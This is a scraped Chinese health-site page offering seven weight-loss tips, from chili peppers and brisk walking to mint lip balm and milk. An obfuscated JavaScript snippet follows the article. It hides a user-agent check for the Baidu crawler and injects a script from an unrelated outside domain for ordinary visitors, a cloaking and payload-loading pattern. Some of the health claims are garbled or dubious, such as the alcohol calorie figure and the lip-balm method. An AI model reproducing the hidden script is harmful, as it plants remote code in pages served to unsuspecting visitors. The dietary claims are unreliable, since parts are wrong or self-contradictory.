當前位置:首頁 > 減肥 > 減肥方法 > 正文

不得不知的實用減肥方法

2017-02-01 10:14:43  來源:360常識網   熱度:
導語:每天攝入1800毫克的鈣,就能使身體少吸收80卡路里的熱量。牛奶中含有豐富的鈣質。那些習慣每天喝咖啡的人,每次喝咖啡的時候加些牛奶,不僅能使咖啡變得更滑更香,還能幫助減肥呢。

不得不知的實用減肥方法

不得不知的實用減肥方法

不得不知的實用減肥方法

一、吃點辣椒

在午餐或晚餐的濃湯里加點辣椒也不失為一種。辣椒可以暫時性提升身體新陳代謝的水平。存在于辣椒中的辣椒素,能短時間內刺激你的身體分泌諸如腎上腺素這樣的荷爾蒙,加速新陳代謝,從而提升身體消耗脂肪的能力。

二、走掉體重

運動這個東西,是要靠堅持才能出效果的。不是說你這周做一次,下周做一次就能瘦的。現(xiàn)在最好的減肥運動就是快走,堅持每周5天,每天1次,每次在30-40分鐘左右,這樣做可在6個月內減去10磅體重。也許有人會說“沒有時間散步”。其實,時間是擠出來的。

三、少飲酒

酒中的主要成分是酒精,酒精熱量高且能促進脂肪的體內沉積,每升酒精能產生7千克熱量。蛋白質和糖類及脂肪雖然也同樣能產生熱量(1克蛋白質和糖各產生4千卡熱量,1克脂肪產生9千卡熱量),但它們含有對人體有益的成分。而酒精則只含有卡路里,這種卡路里一味地使人發(fā)胖。有人計算過,一大瓶啤酒約等于小半碗飯。特別是有些人喜歡在飯后或睡前喝酒,如果經常大量飲酒,加上進食高熱量食物,就可能造成熱量過剩,增加皮下脂肪的堆積,引起身體發(fā)胖。

四、空腹時多喝水

別小看喝水哦,它對減肥的幫助可是非常大的。在日常生活中早上空腹和中晚餐之前,先喝一杯水,這樣能夠起到滋潤腸胃的作用,還能洗刷身體內多余的毒素,而且能夠起到促進新陳代謝的作用,有效的增加飽腹感,是最簡單的減肥小方法。

五、涂唇膏減肥法

在吃飯前涂抹具有薄荷成分的護唇膏或唇蜜,也是一種非常有效的減肥小方法。從眉間開始到鼻子的下面成一直線涂下去。在每次吃飯前涂個兩三次,冰冰涼涼的感受,讓你增強減肥的意志力,降低食物的誘惑,讓食欲全消!如果擔心不吃飯會影響健康,那么大家不妨選擇代餐產品替代正餐,會在滿足飽腹感的同時控制熱量攝入,并且補充人體每日所需營養(yǎng)。

六、吃粗糧

多吃碳水化合物類的食物,例如日常生活中的面包、土豆等,他們能有效的加速身體胰島素的分泌,導致身體新陳代謝的速率降低。所以,真正有效的減肥好方法就是多食高纖維類的食物,在飲食方面要多注意合理搭配,還可以多吃點果蔬。

七、多喝牛奶

每天攝入1800毫克的鈣,就能使身體少吸收80卡路里的熱量。牛奶中含有豐富的鈣質。那些習慣每天喝咖啡的人,每次喝咖啡的時候加些牛奶,不僅能使咖啡變得更滑更香,還能幫助減肥呢。早餐醒來,喝一杯純牛奶,能讓人一天都精力充沛地工作學習。晚上睡覺前喝一杯熱牛奶,能讓人睡得更香甜。午餐晚餐飯后喝一杯酸牛奶,還能助消化。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}